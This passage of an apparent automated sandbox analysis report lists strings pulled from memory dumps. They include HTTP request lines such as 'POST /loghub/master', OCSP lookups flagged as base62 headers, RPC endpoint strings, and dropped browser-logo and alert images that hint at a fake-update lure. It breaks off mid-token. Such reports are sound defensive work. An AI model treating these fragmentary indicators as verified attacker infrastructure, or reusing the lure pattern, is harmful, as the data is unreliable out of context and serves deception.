Trident/7.0; rv:11.0) like GeckoDNT: 1Connection: Keep-AliveHost: www.google.com" (Indicator: "HTTP/1.1"; File: "SSL") Found string "POST /loghub/master HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00000824.00000000.68205.000D0000.00000004.mdmp") Found string "ST /loghub/master HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00000824.00000001.68321.000D0000.00000004.mdmp") Found string "eme/index.php HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00003064.00000001.69998.00490000.00000004.mdmp, 00000000-00003064.00000002.71916.00563000.00000004.mdmp") Found string "HTTP/1.1 200 OK" (Indicator: "HTTP/1.1"; Source: "00000000-00003064.00000001.69998.00490000.00000004.mdmp")6a:T11ec,Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwk" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "cLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJn" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "EaK0gnhS9SZizv8IkTcT4CDQIDvFNZazT" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHL" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEBde13xIZENXEmRaEb4JXwU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "2Fr4XN7pXNPZzQ4kYU83E1HScCEBde13x" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEBde13xIZENXEmRaEb4JXwU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHL" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDXjiTYwV9zDBJXr%2BzP1lEY HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "2Fr4XN7pXNPZzQ4kYU83E1HScCEQDXjiT" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDXjiTYwV9zDBJXr%2BzP1lEY HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHL" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQC4wBUGz%2FM%2FbxJoyJUH9Zs4 HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "2Fr4XN7pXNPZzQ4kYU83E1HScCEQC4wBU" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQC4wBUGz%2FM%2FbxJoyJUH9Zs4 HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHL" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQCXtQEEuMx0gAkkEcVQ5Vat HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "2Fr4XN7pXNPZzQ4kYU83E1HScCEQCXtQE" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQCXtQEEuMx0gAkkEcVQ5Vat HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHL" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEGAy%2Fdiu84vFCW7%2FIayIdNI%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHL" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEDiqPgG5QpuyCQrl9PBuZos%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "2Fr4XN7pXNPZzQ4kYU83E1HScCEDiqPgG" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEDiqPgG5QpuyCQrl9PBuZos%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog"6b:T697,Found string "9ncalrpc:[epmapper,Security=Impersonation Dynamic False]" (Indicator: "ncalrpc"; Source: "00000000-00000824.00000001.68321.000D0000.00000004.mdmp") Found string "+ncalrpc:[OLEBEDF0745DF15424EBC6E8DD1D6C7]" (Indicator: "ncalrpc"; Source: "00000000-00000824.00000001.68321.000D0000.00000004.mdmp") Found string "+ncalrpc:[OLE8274AC07AC7247E282A544AA26ED]" (Indicator: "ncalrpc"; Source: "00000000-00000824.00000001.68321.000D0000.00000004.mdmp") Found string "I+ncalrpc:[OLEBEDF0745DF15424EBC6E8DD1D6C7]" (Indicator: "ncalrpc"; Source: "00000000-00000824.00000001.68321.000D0000.00000004.mdmp") Found string "ncalrpc:[OLE53F8AA35A6964A7DB29048122ED6]" (Indicator: "ncalrpc"; Source: "00000000-00003064.00000001.69998.00490000.00000004.mdmp") Found string "ncalrpc:[OLE698E92957DE94DBFBF5AC0965D02]" (Indicator: "ncalrpc"; Source: "00000000-00003064.00000001.69998.00490000.00000004.mdmp") Found string "ncalrpc:[epmapper,Security=Impersonation Dynamic False]" (Indicator: "ncalrpc"; Source: "00000000-00003064.00000001.69998.00490000.00000004.mdmp") Found string "I+ncalrpc:[OLEBEDF0745DF15424EBC6E8DD1D6C7]" (Indicator: "ncalrpc"; Source: "00000000-00003064.00000001.69998.00490000.00000004.mdmp, 00000000-00003064.00000002.71916.004F0000.00000004.mdmp, 00000000-00003064.00000002.71916.00542000.00000004.mdmp") Found string "A+ncalrpc:[OLE53F8AA35A6964A7DB29048122ED6]" (Indicator: "ncalrpc"; Source: "00000000-00003064.00000001.69998.00542000.00000004.mdmp") Found string "+ncalrpc:[OLEBEDF0745DF15424EBC6E8DD1D6C7]" (Indicator: "ncalrpc"; Source: "00000000-00003064.00000001.69998.00542000.00000004.mdmp, 00000000-00003064.00000002.71916.00542000.00000004.mdmp")6c:T444,"dinosaur_1_.png" has type "PNG image data 1200 x 800 8-bit/color RGBA non-interlaced" and extension "png" "firefox_1_.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced" and extension "png" "yt_logo_rgb_light_1_.png" has type "PNG image data 1588 x 356 8-bit colormap non-interlaced" and extension "png" "edgium_1_.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced" and extension "png" "chrome_1_.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced" and extension "png" "sprite_form_2x_1_.png" has type "PNG image data 48 x 1350 8-bit colormap non-interlaced" and extension "png" "opera_1_.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced" and extension "png" "glyph_alert_critical_big-2x_1_.png" has type "PNG image data 224 x 200 8-bit colormap non-interlaced" and extension "png" "icon-PN-check_1_.png" has type "PNG image data 121 x 133 8-bit colormap non-interlaced" and extension "png" "logo46x38_1_.png" has type "PNG image data 46 x 38 8-bit/color RGBA non-interlaced" and extension "png"6d:T4001,"initAft()